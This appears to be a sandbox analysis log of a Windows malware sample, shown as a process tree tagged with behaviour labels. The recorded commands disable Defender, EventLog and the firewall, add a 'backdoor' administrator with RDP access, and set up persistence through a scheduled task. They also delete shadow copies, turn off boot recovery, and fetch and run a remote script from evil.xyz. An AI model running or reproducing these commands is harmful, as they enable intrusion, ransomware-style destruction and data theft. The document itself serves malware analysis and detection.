    - System Location Discovery: System Language Discovery
    PID:492
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c sc config wuauserv start= disabled
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5460
- - C:\Windows\SysWOW64\sc.exe
    sc config wuauserv start= disabled
    3⤵
    - Launches sc.exe
    - System Location Discovery: System Language Discovery
    PID:3184
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c sc config WinDefend start= disabled
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4116
- - C:\Windows\SysWOW64\sc.exe
    sc config WinDefend start= disabled
    3⤵
    - Launches sc.exe
    PID:5288
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c sc config Schedule start= disabled
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5372
- - C:\Windows\SysWOW64\sc.exe
    sc config Schedule start= disabled
    3⤵
    - Launches sc.exe
    PID:3892
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c sc config EventLog start= disabled
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:696
- - C:\Windows\SysWOW64\sc.exe
    sc config EventLog start= disabled
    3⤵
    - Launches sc.exe
    PID:232
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c net user backdoor P@ssw0rd123! /add
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5432
- - C:\Windows\SysWOW64\net.exe
    net user backdoor P@ssw0rd123! /add
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:988
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 user backdoor P@ssw0rd123! /add
      4⤵
      System Location Discovery: System Language Discovery
      PID:3324
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c net localgroup administrators backdoor /add
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4736
- - C:\Windows\SysWOW64\net.exe
    net localgroup administrators backdoor /add
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:3296
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 localgroup administrators backdoor /add
      4⤵
      System Location Discovery: System Language Discovery
      PID:2852
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c net localgroup "Remote Desktop Users" backdoor /add
  2⤵
  - Remote Service Session Hijacking: RDP Hijacking
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:3328
- - C:\Windows\SysWOW64\net.exe
    net localgroup "Remote Desktop Users" backdoor /add
    3⤵
    - Remote Service Session Hijacking: RDP Hijacking
    - Suspicious use of WriteProcessMemory
    PID:5500
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 localgroup "Remote Desktop Users" backdoor /add
      4⤵
      Remote Service Session Hijacking: RDP Hijacking
      PID:5396
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
  2⤵
  PID:1968
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:568
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c netsh advfirewall firewall add rule name="RDP" dir=in protocol=tcp localport=3389 action=allow
  2⤵
  PID:5064
- - C:\Windows\SysWOW64\netsh.exe
    netsh advfirewall firewall add rule name="RDP" dir=in protocol=tcp localport=3389 action=allow
    3⤵
    - Modifies Windows Firewall
    - Event Triggered Execution: Netsh Helper DLL
    PID:3740
- C:\Users\Admin\AppData\Local\Temp\Portmaster.exe
  "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"
  2⤵
  - Drops startup file
  PID:3144
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c schtasks /create /tn "SysUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe" /sc onlogon /f
    3⤵
    PID:828
  - - C:\Windows\SysWOW64\schtasks.exe
      schtasks /create /tn "SysUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe" /sc onlogon /f
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:3200
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
    3⤵
    PID:3948
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
      4⤵
      System Location Discovery: System Language Discovery
      PID:1204
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableRegistryTools /t REG_DWORD /d 1 /f
    3⤵
    PID:5976
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableRegistryTools /t REG_DWORD /d 1 /f
      4⤵
      PID:6576
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c powershell Set-MpPreference -DisableRealtimeMonitoring $true
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3028
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell Set-MpPreference -DisableRealtimeMonitoring $true
      4⤵
      Disables one or more Microsoft Defender components
      Command and Scripting Interpreter: PowerShell
      System Location Discovery: System Language Discovery
      PID:4528
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c netsh advfirewall set allprofiles state off
    3⤵
    PID:8956
  - - C:\Windows\SysWOW64\netsh.exe
      netsh advfirewall set allprofiles state off
      4⤵
      Modifies Windows Firewall
      PID:8828
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c vssadmin delete shadows /all /quiet
    3⤵
    PID:8012
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c bcdedit /set {default} recoveryenabled No
    3⤵
    PID:7336
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c bcdedit /set {default} bootstatuspolicy ignoreallfailures
    3⤵
    PID:7608
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c reagentc /disable
    3⤵
    PID:7228
  - - C:\Windows\SysWOW64\ReAgentc.exe
      reagentc /disable
      4⤵
      PID:5652
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c sc config wuauserv start= disabled
    3⤵
    PID:5084
  - - C:\Windows\SysWOW64\sc.exe
      sc config wuauserv start= disabled
      4⤵
      Launches sc.exe
      PID:5208
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c sc config WinDefend start= disabled
    3⤵
    PID:392
  - - C:\Windows\SysWOW64\sc.exe
      sc config WinDefend start= disabled
      4⤵
      PID:7004
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c sc config Schedule start= disabled
    3⤵
    PID:1052
  - - C:\Windows\SysWOW64\sc.exe
      sc config Schedule start= disabled
      4⤵
      Launches sc.exe
      PID:5124
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c sc config EventLog start= disabled
    3⤵
    PID:1012
  - - C:\Windows\SysWOW64\sc.exe
      sc config EventLog start= disabled
      4⤵
      Launches sc.exe
      PID:1332
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c net user backdoor P@ssw0rd123! /add
    3⤵
    PID:7308
  - - C:\Windows\SysWOW64\net.exe
      net user backdoor P@ssw0rd123! /add
      4⤵
      PID:6224
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 user backdoor P@ssw0rd123! /add
        5⤵
        
        PID:9680
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c net localgroup administrators backdoor /add
    3⤵
    PID:8048
  - - C:\Windows\SysWOW64\net.exe
      net localgroup administrators backdoor /add
      4⤵
      PID:6800
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 localgroup administrators backdoor /add
        5⤵
        
        PID:5036
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c net localgroup "Remote Desktop Users" backdoor /add
    3⤵
    - Remote Service Session Hijacking: RDP Hijacking
    PID:3116
  - - C:\Windows\SysWOW64\net.exe
      net localgroup "Remote Desktop Users" backdoor /add
      4⤵
      Remote Service Session Hijacking: RDP Hijacking
      PID:4820
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 localgroup "Remote Desktop Users" backdoor /add
        5⤵
        Remote Service Session Hijacking: RDP Hijacking
        
        PID:5952
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
    3⤵
    PID:7472
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
      4⤵
      PID:9812
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c netsh advfirewall firewall add rule name="RDP" dir=in protocol=tcp localport=3389 action=allow
    3⤵
    PID:10464
  - - C:\Windows\SysWOW64\netsh.exe
      netsh advfirewall firewall add rule name="RDP" dir=in protocol=tcp localport=3389 action=allow
      4⤵
      Modifies Windows Firewall
      PID:10112
- - C:\Users\Admin\AppData\Local\Temp\Portmaster.exe
    "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"
    3⤵
    PID:9508
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c schtasks /create /tn "SysUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe" /sc onlogon /f
      4⤵
      PID:12512
- - C:\Users\Admin\AppData\Local\Temp\Portmaster.exe
    "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"
    3⤵
    PID:7812
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c schtasks /create /tn "SysUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe" /sc onlogon /f
      4⤵
      PID:13252
- - C:\Users\Admin\AppData\Local\Temp\Portmaster.exe
    "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"
    3⤵
    PID:7496
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c schtasks /create /tn "SysUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe" /sc onlogon /f
      4⤵
      PID:12720
    - - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /create /tn "SysUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe" /sc onlogon /f
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:11952
- - C:\Users\Admin\AppData\Local\Temp\Portmaster.exe
    "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"
    3⤵
    PID:11192
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c schtasks /create /tn "SysUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe" /sc onlogon /f
      4⤵
      PID:10244
    - - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /create /tn "SysUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe" /sc onlogon /f
        5⤵
        
        PID:10832
- - C:\Users\Admin\AppData\Local\Temp\Portmaster.exe
    "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"
    3⤵
    PID:12468
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c schtasks /create /tn "SysUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe" /sc onlogon /f
      4⤵
      PID:13712
- - C:\Users\Admin\AppData\Local\Temp\Portmaster.exe
    "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"
    3⤵
    PID:13292
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c schtasks /create /tn "SysUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe" /sc onlogon /f
      4⤵
      PID:13852
- - C:\Users\Admin\AppData\Local\Temp\Portmaster.exe
    "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"
    3⤵
    PID:4156
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c schtasks /create /tn "SysUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe" /sc onlogon /f
      4⤵
      PID:14180
- - C:\Users\Admin\AppData\Local\Temp\Portmaster.exe
    "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"
    3⤵
    PID:6560
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c schtasks /create /tn "SysUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe" /sc onlogon /f
      4⤵
      PID:13800
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c start https://evil.xyz
    3⤵
    PID:12676
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c powershell -Command "IEX (New-Object Net.WebClient).DownloadString('http://evil.xyz/steal.ps1')"
    3⤵
    PID:10640
- C:\Users\Admin\AppData\Local\Temp\Portmaster.exe
  "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"
  2⤵
  - Drops startup file
  PID:2520
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c schtasks /create /tn "SysUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe" /sc onlogon /f
    3⤵
    PID:5788
  - - C:\Windows\SysWOW64\schtasks.exe
      schtasks /create /tn "SysUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe" /sc onlogon /f
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:6008
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
    3⤵
    PID:3596
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
      4⤵
      PID:3020
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableRegistryTools /t REG_DWORD /d 1 /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4480
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableRegistryTools /t REG_DWORD /d 1 /f
      4⤵
      PID:6700
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c powershell Set-MpPreference -DisableRealtimeMonitoring $true
    3⤵
    PID:6316
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell Set-MpPreference -DisableRealtimeMonitoring $true
      4⤵
      Disables one or more Microsoft Defender components
      Command and Scripting Interpreter: PowerShell
      PID:7288
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c netsh advfirewall set allprofiles state off
    3⤵
    PID:7484
  - - C:\Windows\SysWOW64\netsh.exe
      netsh advfirewall set allprofiles state off
      4⤵
      Modifies Windows Firewall
      PID:8560
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c vssadmin delete shadows /all /quiet
    3⤵
    PID:7540
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c bcdedit /set {default} recoveryenabled No
    3⤵
    PID:2412
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c bcdedit /set {default} bootstatuspolicy ignoreallfailures
    3⤵
    PID:9392
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c reagentc /disable
    3⤵
    PID:4952
  - - C:\Windows\SysWOW64\ReAgentc.exe
      reagentc /disable
      4⤵
      PID:9292
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c sc config wuauserv start= disabled
    3⤵
    PID:9720
  - - C:\Windows\SysWOW64\sc.exe
      sc config wuauserv start= disabled
      4⤵
      PID:9980
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c sc config WinDefend start= disabled
    3⤵
    PID:9544
  - - C:\Windows\SysWOW64\sc.exe
      sc config WinDefend start= disabled
      4⤵
      Launches sc.exe
      PID:6236
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c sc config Schedule start= disabled
    3⤵
    PID:9228
  - - C:\Windows\SysWOW64\sc.exe
      sc config Schedule start= disabled
      4⤵
      Launches sc.exe
      PID:11624
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c sc config EventLog start= disabled
    3⤵
    PID:11444
  - - C:\Windows\SysWOW64\sc.exe
      sc config EventLog start= disabled
      4⤵
      Launches sc.exe
      PID:9568
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c net user backdoor P@ssw0rd123! /add
    3⤵
    PID:9240
  - - C:\Windows\SysWOW64\net.exe
      net user backdoor P@ssw0rd123! /add
      4⤵
      PID:12564
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 user backdoor P@ssw0rd123! /add
        5⤵
        
        PID:11668
- C:\Users\Admin\AppData\Local\Temp\Portmaster.exe
  "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"
  2⤵
  - Drops startup file
  - System Location Discovery: System Language Discovery
  PID:556
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c schtasks /create /tn "SysUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe" /sc onlogon /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:232
  - - C:\Windows\SysWOW64\schtasks.exe
      schtasks /create /tn "SysUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe" /sc onlogon /f
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:4600
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
    3⤵
    PID:1156
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
      4⤵
      System Location Discovery: System Language Discovery
      PID:5440
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableRegistryTools /t REG_DWORD /d 1 /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4068
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableRegistryTools /t REG_DWORD /d 1 /f
      4⤵
      System Location Discovery: System Language Discovery
      PID:1296
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c powershell Set-MpPreference -DisableRealtimeMonitoring $true
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4432
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell Set-MpPreference -DisableRealtimeMonitoring $true
      4⤵
      Disables one or more Microsoft Defender components
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:6824
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c netsh advfirewall set allprofiles state off
    3⤵
    PID:8648
  - - C:\Windows\SysWOW64\netsh.exe
      netsh advfirewall set allprofiles state off
      4⤵
      Modifies Windows Firewall
      PID:6932
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c vssadmin delete shadows /all /quiet
    3⤵
    PID:7972
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c bcdedit /set {default} recoveryenabled No
    3⤵
    PID:5028
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c bcdedit /set {default} bootstatuspolicy ignoreallfailures
    3⤵
    PID:3472
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c reagentc /disable
    3⤵
    PID:9276
  - - C:\Windows\SysWOW64\ReAgentc.exe
      reagentc /disable
      4⤵
      PID:10224
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c sc config wuauserv start= disabled
    3⤵
    PID:2364
  - - C:\Windows\SysWOW64\sc.exe
      sc config wuauserv start= disabled
      4⤵
      Launches sc.exe
      PID:8584
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c sc config WinDefend start= disabled
    3⤵
    PID:8796
  - - C:\Windows\SysWOW64\sc.exe
      sc config WinDefend start= disabled
      4⤵
      PID:8368
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c sc config Schedule start= disabled
    3⤵
    PID:5240
  - - C:\Windows\SysWOW64\sc.exe
      sc config Schedule start= disabled
      4⤵
      Launches sc.exe
      PID:10832
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c sc config EventLog start= disabled
    3⤵
    PID:5232
  - - C:\Windows\SysWOW64\sc.exe
      sc config EventLog start= disabled
      4⤵
      Launches sc.exe
      PID:9028
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c net user backdoor P@ssw0rd123! /add
    3⤵
    PID:3784
  - - C:\Windows\SysWOW64\net.exe
      net user backdoor P@ssw0rd123! /add
      4⤵
      PID:12432
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 user backdoor P@ssw0rd123! /add
        5⤵
        
        PID:12024
- C:\Users\Admin\AppData\Local\Temp\Portmaster.exe
  "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"
  2⤵
  - Drops startup file
  PID:3492
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c schtasks /create /tn "SysUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe" /sc onlogon /f
    3⤵
    PID:2296
  - - C:\Windows\SysWOW64\schtasks.exe
      schtasks /create /tn "SysUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe" /sc onlogon /f
      4⤵
      System Location Discovery: System Language Discovery
      Scheduled Task/Job: Scheduled Task
      PID:4968
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
    3⤵
    PID:5368
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
      4⤵
      PID:5784
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableRegistryTools /t REG_DWORD /d 1 /f
    3⤵
    PID:6012
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableRegistryTools /t REG_DWORD /d 1 /f
      4⤵
      System Location Discovery: System Language Discovery
      PID:6444
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c powershell Set-MpPreference -DisableRealtimeMonitoring $true
    3⤵
    PID:6984
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell Set-MpPreference -DisableRealtimeMonitoring $true
      4⤵
      Disables one or more Microsoft Defender components
      Command and Scripting Interpreter: PowerShell
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:5152
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c netsh advfirewall set allprofiles state off
    3⤵
    PID:8
  - - C:\Windows\SysWOW64\netsh.exe
      netsh advfirewall set allprofiles state off
      4⤵
      Modifies Windows Firewall
      PID:8604
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c vssadmin delete shadows /all /quiet
    3⤵
    PID:3804
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c bcdedit /set {default} recoveryenabled No
    3⤵
    PID:9328
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c bcdedit /set {default} bootstatuspolicy ignoreallfailures
    3⤵
    PID:10204
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c reagentc /disable
    3⤵
    PID:9736
  - - C:\Windows\SysWOW64\ReAgentc.exe
      reagentc /disable
      4⤵
      PID:9436
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c sc config wuauserv start= disabled
    3⤵
    PID:7644
  - - C:\Windows\SysWOW64\sc.exe
      sc config wuauserv start= disabled
      4⤵
      Launches sc.exe
      PID:9820
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c sc config WinDefend start= disabled
    3⤵
    PID:7360
  - - C:\Windows\SysWOW64\sc.exe
      sc config WinDefend start= disabled
      4⤵
      Launches sc.exe
      PID:10436
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c sc config Schedule start= disabled
    3⤵
    PID:8372
  - - C:\Windows\SysWOW64\sc.exe
      sc config Schedule start= disabled
      4⤵
      Launches sc.exe
      PID:11932
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c sc config EventLog start= disabled
    3⤵
    PID:2484
  - - C:\Windows\SysWOW64\sc.exe
      sc config EventLog start= disabled
      4⤵
      PID:5528
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c net user backdoor P@ssw0rd123! /add
    3⤵
    PID:11360
- C:\Users\Admin\AppData\Local\Temp\Portmaster.exe
  "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"
  2⤵
  - Drops startup file
  - System Location Discovery: System Language Discovery
  PID:2492
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c schtasks /create /tn "SysUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe" /sc onlogon /f
    3⤵
    PID:1584
  - - C:\Windows\SysWOW64\schtasks.exe
      schtasks /create /tn "SysUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe" /sc onlogon /f
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:2020
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
    3⤵
    PID:3276
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
      4⤵
      System Location Discovery: System Language Discovery
      PID:3656
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableRegistryTools /t REG_DWORD /d 1 /f
    3⤵
    PID:736
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableRegistryTools /t REG_DWORD /d 1 /f
      4⤵
      PID:6624
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c powershell Set-MpPreference -DisableRealtimeMonitoring $true
    3⤵
    - System Location Discovery: System Language Discovery
    PID:6320
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell Set-MpPreference -DisableRealtimeMonitoring $true
      4⤵
      Disables one or more Microsoft Defender components
      Command and Scripting Interpreter: PowerShell
      PID:7212
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c netsh advfirewall set allprofiles state off
    3⤵
    PID:8300
  - - C:\Windows\SysWOW64\netsh.exe
      netsh advfirewall set allprofiles state off
      4⤵
      Modifies Windows Firewall
      PID:6156
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c vssadmin delete shadows /all /quiet
    3⤵
    PID:8872
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c bcdedit /set {default} recoveryenabled No
    3⤵
    PID:8232
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c bcdedit /set {default} bootstatuspolicy ignoreallfailures
    3⤵
    PID:768
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c reagentc /disable
    3⤵
    PID:8804
